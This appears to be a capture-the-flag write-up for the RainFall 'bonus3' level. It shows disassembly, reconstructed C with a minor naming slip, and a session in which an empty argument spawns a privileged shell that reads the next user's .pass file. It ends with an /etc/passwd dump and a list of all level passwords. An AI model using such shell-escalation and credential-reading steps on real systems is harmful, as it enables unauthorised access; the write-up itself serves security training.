0x080485d3 <+223>: lea eax,[esp+0x18]
0x080485d7 <+227>: mov DWORD PTR [esp],eax
0x080485da <+230>: call 0x80483b0 <strcmp@plt>
0x080485df <+235>: test eax,eax
0x080485e1 <+237>: jne 0x8048601 <main+269>
0x080485e3 <+239>: mov DWORD PTR [esp+0x8],0x0
0x080485eb <+247>: mov DWORD PTR [esp+0x4],0x8048707
0x080485f3 <+255>: mov DWORD PTR [esp],0x804870a
0x080485fa <+262>: call 0x8048420 <execl@plt>
0x080485ff <+267>: jmp 0x8048610 <main+284>
0x08048601 <+269>: lea eax,[esp+0x18]
0x08048605 <+273>: add eax,0x42
0x08048608 <+276>: mov DWORD PTR [esp],eax
0x0804860b <+279>: call 0x80483e0 <puts@plt>
0x08048610 <+284>: mov eax,0x0
0x08048615 <+289>: lea esp,[ebp-0x8]
0x08048618 <+292>: pop ebx
0x08048619 <+293>: pop edi
0x0804861a <+294>: pop ebp
0x0804861b <+295>: ret
End of assembler dump.
int main(int ac,char **av)
{
FILE *fs;
char pass[66];
char buff[65];
fs = fopen("/home/user/end/.pass","r");
if ((!fs) || (argc != 2))
return -1;
fread(pass, 1, 66, fs);
pass[atoi(av[1])] = 0;
fread(buff, 1, 65, fs);
fclose(fs);
if (strcmp(pass, av[1]) == 0)
execl("/bin/sh", "sh", 0);
else
puts(buff);
return 0;
}
As we can see the in asm code we have an execl call to "/bin/sh" with an if condition based on the result of strcmp
- Let's try to make the result of strcmp equals to `0`
```bash
bonus3@RainFall:~$ ./bonus3 0 # Will not work as it has a value of 48
bonus3@RainFall:~$ ./bonus3 ""
$ whoami
end
$ pwd
/home/user/bonus3
$ cat /home/user/end/.pass
3321b6f81659f9a71c76616f606e4b50189cecfea611393d5d649f75e157353c
Not the hardest level for sure
level0@RainFall:~$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
whoopsie:x:103:107::/nonexistent:/bin/false
landscape:x:104:110::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
ft_root:x:1000:1000:ft_root,,,:/home/ft_root:/bin/bash
level0:x:2020:2020::/home/user/level0:/bin/bash
level1:x:2030:2030::/home/user/level1:/bin/bash
level2:x:2021:2021::/home/user/level2:/bin/bash
level3:x:2022:2022::/home/user/level3:/bin/bash
level4:x:2025:2025::/home/user/level4:/bin/bash
level5:x:2045:2045::/home/user/level5:/bin/bash
level6:x:2064:2064::/home/user/level6:/bin/bash
level7:x:2024:2024::/home/user/level7:/bin/bash
level8:x:2008:2008::/home/user/level8:/bin/bash
level9:x:2009:2009::/home/user/level9:/bin/bash
bonus0:x:2010:2010::/home/user/bonus0:/bin/bash
bonus1:x:2011:2011::/home/user/bonus1:/bin/bash
bonus2:x:2012:2012::/home/user/bonus2:/bin/bash
bonus3:x:2013:2013::/home/user/bonus3:/bin/bash
end:x:2014:2014::/home/user/end:/bin/bash
level0 -> level0
level1 -> 1fe8a524fa4bec01ca4ea2a869af2a02260d4a7d5fe7e7c24d8617e6dca12d3a
level2 -> 53a4a712787f40ec66c3c26c1f4b164dcad5552b038bb0addd69bf5bf6fa8e77
level3 -> 492deb0e7d14c4b5695173cca843c4384fe52d0857c2b0718e1a521a4d33ec02
level4 -> b209ea91ad69ef36f2cf0fcbbc24c739fd10464cf545b20bea8572ebdc3c36fa
level5 -> 0f99ba5e9c446258a69b290407a6c60859e9c2d25b26575cafc9ae6d75e9456a
level6 -> d3b7bf1025225bd715fa8ccb54ef06ca70b9125ac855aeab4878217177f41a31
level7 -> f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d
level8 -> 5684af5cb4c8679958be4abe6373147ab52d95768e047820bf382e44fa8d8fb9
level9 -> c542e581c5ba5162a85f767996e3247ed619ef6c6f7b76a59435545dc6259f8a
bonus0 ->
bonus1 -> cd1f77a585965341c37a1774a1d1686326e1fc53aaa5459c840409d4d06523c9
bonus2 -> 579bd19263eb8655e4cf7b742d75edf8c38226925d78db8163506f5191825245
bonus3 -> 71d449df0f960b36e0055eb58c14d0f5d0ddc0b35328d657f91cf0df15910587
end -> 3321b6f81659f9a71c76616f606e4b50189cecfea611393d5d649f75e157353c